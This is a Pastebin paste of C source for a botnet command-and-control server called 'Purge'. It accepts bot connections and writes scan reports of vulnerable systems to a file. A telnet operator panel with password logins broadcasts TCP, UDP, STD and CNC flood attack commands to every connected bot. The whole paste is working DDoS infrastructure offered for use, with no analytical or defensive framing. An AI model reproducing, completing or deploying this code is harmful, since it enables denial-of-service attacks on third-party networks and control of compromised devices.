Advertisement
Cumfort

Purge Server Side Build V1 (ENJOY!!)

Sep 5th, 2017
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.53 KB | None | 0 0
  1.  
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <netdb.h>
  8. #include <unistd.h>
  9. #include <time.h>
  10. #include <fcntl.h>
  11. #include <sys/epoll.h>
  12. #include <errno.h>
  13. #include <pthread.h>
  14. #include <signal.h>
  15.  
  16. #define MAXFDS 1000000
  17.  
  18. struct account {
  19. char id[20];
  20. char password[20];
  21. };
  22. static struct account accounts[50]; //max users is set on 50 you can edit that to whatever
  23. struct clientdata_t {
  24. uint32_t ip;
  25. char build[7];
  26. char connected;
  27. } clients[MAXFDS];
  28. struct telnetdata_t {
  29. int connected;
  30. } managements[MAXFDS];
  31. ////////////////////////////////////
  32. static volatile FILE *telFD;
  33. static volatile FILE *fileFD;
  34. static volatile int epollFD = 0;
  35. static volatile int listenFD = 0;
  36. static volatile int managesConnected = 0;
  37. static volatile int TELFound = 0;
  38. static volatile int scannerreport;
  39. ////////////////////////////////////
  40. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  41. {
  42. int total = 0, got = 1;
  43. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  44. return got;
  45. }
  46. void trim(char *str)
  47. {
  48. int i;
  49. int begin = 0;
  50. int end = strlen(str) - 1;
  51. while (isspace(str[begin])) begin++;
  52. while ((end >= begin) && isspace(str[end])) end--;
  53. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  54. str[i - begin] = '\0';
  55. }
  56. static int make_socket_non_blocking (int sfd)
  57. {
  58. int flags, s;
  59. flags = fcntl (sfd, F_GETFL, 0);
  60. if (flags == -1)
  61. {
  62. perror ("fcntl");
  63. return -1;
  64. }
  65. flags |= O_NONBLOCK;
  66. s = fcntl (sfd, F_SETFL, flags);
  67. if (s == -1)
  68. {
  69. perror ("fcntl");
  70. return -1;
  71. }
  72. return 0;
  73. }
  74. static int create_and_bind (char *port)
  75. {
  76. struct addrinfo hints;
  77. struct addrinfo *result, *rp;
  78. int s, sfd;
  79. memset (&hints, 0, sizeof (struct addrinfo));
  80. hints.ai_family = AF_UNSPEC;
  81. hints.ai_socktype = SOCK_STREAM;
  82. hints.ai_flags = AI_PASSIVE;
  83. s = getaddrinfo (NULL, port, &hints, &result);
  84. if (s != 0)
  85. {
  86. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  87. return -1;
  88. }
  89. for (rp = result; rp != NULL; rp = rp->ai_next)
  90. {
  91. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  92. if (sfd == -1) continue;
  93. int yes = 1;
  94. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  95. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  96. if (s == 0)
  97. {
  98. break;
  99. }
  100. close (sfd);
  101. }
  102. if (rp == NULL)
  103. {
  104. fprintf (stderr, "Fuck Boy Change The Port You idiot\n");
  105. return -1;
  106. }
  107. freeaddrinfo (result);
  108. return sfd;
  109. }
  110. void broadcast(char *msg, int us, char *sender)
  111. {
  112. int sendMGM = 1;
  113. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  114. char *wot = malloc(strlen(msg) + 10);
  115. memset(wot, 0, strlen(msg) + 10);
  116. strcpy(wot, msg);
  117. trim(wot);
  118. time_t rawtime;
  119. struct tm * timeinfo;
  120. time(&rawtime);
  121. timeinfo = localtime(&rawtime);
  122. char *timestamp = asctime(timeinfo);
  123. trim(timestamp);
  124. int i;
  125. for(i = 0; i < MAXFDS; i++)
  126. {
  127. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  128. if(sendMGM && managements[i].connected)
  129. {
  130. send(i, "\x1b[35m", 5, MSG_NOSIGNAL);
  131. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  132. send(i, ": ", 2, MSG_NOSIGNAL);
  133. }
  134. printf("sent to fd: %d\n", i);
  135. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  136. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[33m~> \x1b[0m", 13, MSG_NOSIGNAL);
  137. else send(i, "\n", 1, MSG_NOSIGNAL);
  138. }
  139. free(wot);
  140. }
  141. void *epollEventLoop(void *useless)
  142. {
  143. struct epoll_event event;
  144. struct epoll_event *events;
  145. int s;
  146. events = calloc (MAXFDS, sizeof event);
  147. while (1)
  148. {
  149. int n, i;
  150. n = epoll_wait (epollFD, events, MAXFDS, -1);
  151. for (i = 0; i < n; i++)
  152. {
  153. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  154. {
  155. clients[events[i].data.fd].connected = 0;
  156. close(events[i].data.fd);
  157. continue;
  158. }
  159. else if (listenFD == events[i].data.fd)
  160. {
  161. while (1)
  162. {
  163. struct sockaddr in_addr;
  164. socklen_t in_len;
  165. int infd, ipIndex;
  166. in_len = sizeof in_addr;
  167. infd = accept (listenFD, &in_addr, &in_len);
  168. if (infd == -1)
  169. {
  170. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  171. else
  172. {
  173. perror ("accept");
  174. break;
  175. }
  176. }
  177. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  178. int dup = 0;
  179. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  180. {
  181. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  182. //WE ARE MAKING SURE THERE IS NO DUP CLIENTS
  183. if(clients[ipIndex].ip == clients[infd].ip)
  184. {
  185. dup = 1;
  186. break;
  187. }
  188. }
  189.  
  190. if(dup)
  191. { //WE ARE MAKE SURE AGAIN HERE BY SENDING !* LOLNOGTFO|!* GTFOFAG
  192. if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  193. close(infd);
  194. continue;
  195. }
  196.  
  197. s = make_socket_non_blocking (infd);
  198. if (s == -1) { close(infd); break; }
  199.  
  200. event.data.fd = infd;
  201. event.events = EPOLLIN | EPOLLET;
  202. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  203. if (s == -1)
  204. {
  205. perror ("epoll_ctl");
  206. close(infd);
  207. break;
  208. }
  209.  
  210. clients[infd].connected = 1;
  211.  
  212. }
  213. continue;
  214. }
  215. else
  216. {
  217. int thefd = events[i].data.fd;
  218. struct clientdata_t *client = &(clients[thefd]);
  219. int done = 0;
  220. client->connected = 1;
  221. while (1)
  222. {
  223. ssize_t count;
  224. char buf[2048];
  225. memset(buf, 0, sizeof buf);
  226.  
  227. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  228. {
  229. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  230. trim(buf);
  231. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  232. {
  233. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  234. continue;
  235. }
  236. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  237. {
  238. char *line = strstr(buf, "REPORT ") + 7;
  239. fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  240. fflush(telFD);
  241. TELFound++;
  242. continue;
  243. }
  244. if(strstr(buf, "PROBING") == buf)
  245. {
  246. char *line = strstr(buf, "PROBING");
  247. scannerreport = 1;
  248. continue;
  249. }
  250. if(strstr(buf, "REMOVING PROBE") == buf)
  251. {
  252. char *line = strstr(buf, "REMOVING PROBE");
  253. scannerreport = 0;
  254. continue;
  255. }
  256. if(strcmp(buf, "PONG") == 0)
  257. {
  258. continue;
  259. }
  260.  
  261. printf("buf: \"%s\"\n", buf);
  262. }
  263.  
  264. if (count == -1)
  265. {
  266. if (errno != EAGAIN)
  267. {
  268. done = 1;
  269. }
  270. break;
  271. }
  272. else if (count == 0)
  273. {
  274. done = 1;
  275. break;
  276. }
  277. }
  278.  
  279. if (done)
  280. {
  281. client->connected = 0;
  282. close(thefd);
  283. }
  284. }
  285. }
  286. }
  287. }
  288. unsigned int clientsConnected()
  289. {
  290. int i = 0, total = 0;
  291. for(i = 0; i < MAXFDS; i++)
  292. {
  293. if(!clients[i].connected) continue;
  294. total++;
  295. }
  296.  
  297. return total;
  298. }
  299. void *titleWriter(void *sock)
  300. {
  301. int thefd = (int)sock;
  302. char string[2048];
  303. while(1)
  304. {
  305. memset(string, 0, 2048);
  306. sprintf(string, "%c]0;Bots connected: %d | Operators connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  307. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  308.  
  309. sleep(2);
  310. }
  311. }
  312. int Search_in_File(char *str)
  313. {
  314. FILE *fp;
  315. int line_num = 0;
  316. int find_result = 0, find_line=0;
  317. char temp[512];
  318.  
  319. if((fp = fopen("login.txt", "r")) == NULL){
  320. return(-1);
  321. }
  322. while(fgets(temp, 512, fp) != NULL){
  323. if((strstr(temp, str)) != NULL){
  324. find_result++;
  325. find_line = line_num;
  326. }
  327. line_num++;
  328. }
  329. if(fp)
  330. fclose(fp);
  331.  
  332. if(find_result == 0)return 0;
  333.  
  334. return find_line;
  335. }
  336. void client_addr(struct sockaddr_in addr){
  337. printf("IP:%d.%d.%d.%d\n",
  338. addr.sin_addr.s_addr & 0xFF,
  339. (addr.sin_addr.s_addr & 0xFF00)>>8,
  340. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  341. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  342. FILE *logFile;
  343. logFile = fopen("report.log", "a");
  344. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  345. addr.sin_addr.s_addr & 0xFF,
  346. (addr.sin_addr.s_addr & 0xFF00)>>8,
  347. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  348. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  349. fclose(logFile);
  350. }
  351. void *telnetWorker(void *sock)
  352. {
  353. char usernamez[80];
  354. int thefd = (int)sock;
  355. int find_line;
  356. managesConnected++;
  357. pthread_t title;
  358. char counter[2048];
  359. memset(counter, 0, 2048);
  360. char buf[2048];
  361. char* nickstring;
  362. char* username;
  363. char* password;
  364. memset(buf, 0, sizeof buf);
  365. char botnet[2048];
  366. memset(botnet, 0, 2048);
  367.  
  368. FILE *fp;
  369. int i=0;
  370. int c;
  371. fp=fopen("login.txt", "r");
  372. while(!feof(fp))
  373. {
  374. c=fgetc(fp);
  375. ++i;
  376. }
  377. int j=0;
  378. rewind(fp);
  379. while(j!=i-1)
  380. {
  381. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  382. ++j;
  383. }
  384. sprintf(botnet, "\x1b[32mNickname: \x1b[30m");
  385. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  386. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  387. trim(buf);
  388. sprintf(usernamez, buf);
  389. nickstring = ("%s", buf);
  390. find_line = Search_in_File(nickstring);
  391. if(strcmp(nickstring, accounts[find_line].id) == 0){
  392. if(send(thefd, "\x1b[32m* VALID CREDENTIALS *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  393. sprintf(botnet, "\x1b[32mPassword: \x1b[30m");
  394. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end; if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  395. trim(buf);
  396. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  397. memset(buf, 0, 2048);
  398. goto fak;
  399. }
  400. failed:
  401. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  402. if(send(thefd, "\x1b[32m***********************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  403. if(send(thefd, "\x1b[32m* INVALID LOGIN *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  404. if(send(thefd, "\x1b[32m***********************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  405. sleep(5);
  406. goto end;
  407. fak:
  408.  
  409. pthread_create(&title, NULL, &titleWriter, sock);
  410. char line1[80];
  411.  
  412. sprintf(line1, "\x1b[0;37m*\x1b[0;31m Welcome To The Purge \x1b[0;37m *\r\n");
  413.  
  414. if(send(thefd, "\x1b[0;37m****************************************\r\n", 51, MSG_NOSIGNAL) == -1) goto end;
  415. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  416. if(send(thefd, "\x1b[0;37m****************************************\r\n\r\n-> \x1b[0m", 54, MSG_NOSIGNAL) == -1) goto end;
  417. pthread_create(&title, NULL, &titleWriter, sock);
  418. managements[thefd].connected = 1;
  419.  
  420. while(fdgets(buf, sizeof buf, thefd) > 0)
  421. {
  422. if (strncmp(buf, "HELP", 4) == 0 || strncmp(buf, "help", 4) == 0 || strncmp(buf, "menu", 4) == 0)
  423. {
  424. sprintf(botnet, "\x1b[37m[+\x1b[36m]Attack Commands----------------------------------\x1b[37m\r\n\x1b[37m!* TCP [IP] [PORT] [TIME] 32 all 0 1 | TCP FLOOD\r\n\x1b[37m!* UDP [IP] [PORT] [TIME] 32 0 1 | UDP FLOOD\r\n\x1b[37m!* STD [IP] [PORT] [TIME] | STD FLOOD\r\n\x1b[37m!* CNC [IP] [ADMIN PORT] [TIME] | CNC FLOOD\r\n");
  425. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  426. sprintf(botnet, "\x1b[37m[+]\x1b[36mExtra Commands-----------------------------------\x1b[37m\r\n\x1b[37m!* KILLATTK | KILLS ALL ATTACKS\r\n");
  427. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  428. sprintf(botnet, "\x1b[37m[+]\x1b[36mTerminal Commands----------------------------------\x1b[37m\r\n\x1b[37mBOTS | SHOWS BOT COUNT\r\n\x1b[37mCLS | CLEARS YOUR SCREEN\r\n");
  429. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  430. }
  431. if (strncmp(buf, "CLEAR", 5) == 0 || strncmp(buf, "clear", 5) == 0 || strncmp(buf, "cls", 3) == 0 || strncmp(buf, "CLS", 3) == 0)
  432. {
  433. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  434. if(send(thefd,"\x1b[0;37m****************************************\r\n", 51, MSG_NOSIGNAL) == -1) goto end;
  435. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  436. if(send(thefd, "\x1b[0;37m****************************************\r\n\x1b[0m", 50, MSG_NOSIGNAL) == -1) goto end;
  437. pthread_create(&title, NULL, &titleWriter, sock);
  438. managements[thefd].connected = 1;
  439. }
  440. if (strncmp(buf, "exit", 4) == 0 || strncmp(buf, "EXIT", 4) == 0 || strncmp(buf, "LOGOUT", 6) == 0)
  441. {
  442. goto end;
  443. } // if someone tries to send a attack above 200O SEC it will kick them off :)
  444. if (strstr(buf, "LOLNOGTFO"))
  445. {
  446. printf("%s tried killing bots...", usernamez);
  447. FILE *killFile;
  448. killFile = fopen("KILL.log", "a");
  449. fprintf(killFile, "Username: %s Buffer: Tried Killing Bots!\n", usernamez);
  450. fclose(killFile);
  451. goto end;
  452. /* code */
  453. }
  454. if (strstr(buf, "SH"))
  455. {
  456. /* code */
  457. printf("%s tried sh'ing bots...", usernamez);
  458. FILE *shFile;
  459. shFile = fopen("SH.log", "a");
  460. fprintf(shFile, "Username: %s Buffer: Tried SH'ing Bots!\n", usernamez);
  461. fclose(shFile);
  462. goto end;
  463. }
  464. trim(buf);
  465. sprintf(botnet, "\x1b[37m-> \x1b[0m");
  466. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  467. if(strlen(buf) == 0) continue;
  468. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  469. FILE *logFile;
  470. logFile = fopen("report.log", "a");
  471. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  472. fclose(logFile);
  473. broadcast(buf, thefd, usernamez);
  474. memset(buf, 0, 2048);
  475. }
  476.  
  477. end: // cleanup dead socket
  478. managements[thefd].connected = 0;
  479. close(thefd);
  480. managesConnected--;
  481. }
  482. void *telnetListener(int port)
  483. {
  484. int sockfd, newsockfd;
  485. socklen_t clilen;
  486. struct sockaddr_in serv_addr, cli_addr;
  487. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  488. if (sockfd < 0) perror("ERROR opening socket");
  489. bzero((char *) &serv_addr, sizeof(serv_addr));
  490. serv_addr.sin_family = AF_INET;
  491. serv_addr.sin_addr.s_addr = INADDR_ANY;
  492. serv_addr.sin_port = htons(port);
  493. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  494. listen(sockfd,5);
  495. clilen = sizeof(cli_addr);
  496. while(1)
  497. {
  498. printf("Connecting To Server: ");
  499. client_addr(cli_addr);
  500. FILE *logFile;
  501. logFile = fopen("IP.log", "a");
  502. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  503. fclose(logFile);
  504. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  505. if (newsockfd < 0) perror("ERROR on accept");
  506. pthread_t thread;
  507. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  508. }
  509. }
  510.  
  511. int main (int argc, char *argv[], void *sock)
  512. {
  513. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  514. int s, threads, port;
  515. struct epoll_event event;
  516. if (argc != 4)
  517. {
  518. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  519. exit (EXIT_FAILURE);
  520. }
  521. port = atoi(argv[3]);
  522. printf("\x1b[32mPrivate file,\x1b[33m if you have it, \x1b[34mDO \x1b[35mNOT \x1b[36mLEAK\x1b[0m\n");
  523. telFD = fopen("bots.txt", "a+");
  524. threads = atoi(argv[2]);
  525. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  526. if (listenFD == -1) abort ();
  527. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  528. if (s == -1) abort ();
  529. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  530. if (s == -1)
  531. {
  532. perror ("listen");
  533. abort ();
  534. }
  535. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  536. if (epollFD == -1)
  537. {
  538. perror ("epoll_create");
  539. abort ();
  540. }
  541. event.data.fd = listenFD;
  542. event.events = EPOLLIN | EPOLLET;
  543. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  544. if (s == -1)
  545. {
  546. perror ("epoll_ctl");
  547. abort ();
  548. }
  549. pthread_t thread[threads + 2];
  550. while(threads--)
  551. {
  552. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  553. }
  554. pthread_create(&thread[0], NULL, &telnetListener, port);
  555. while(1)
  556. {
  557. broadcast("PING", -1, "PURGE");
  558. sleep(60);
  559. }
  560. close (listenFD);
  561. return EXIT_SUCCESS;
  562. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement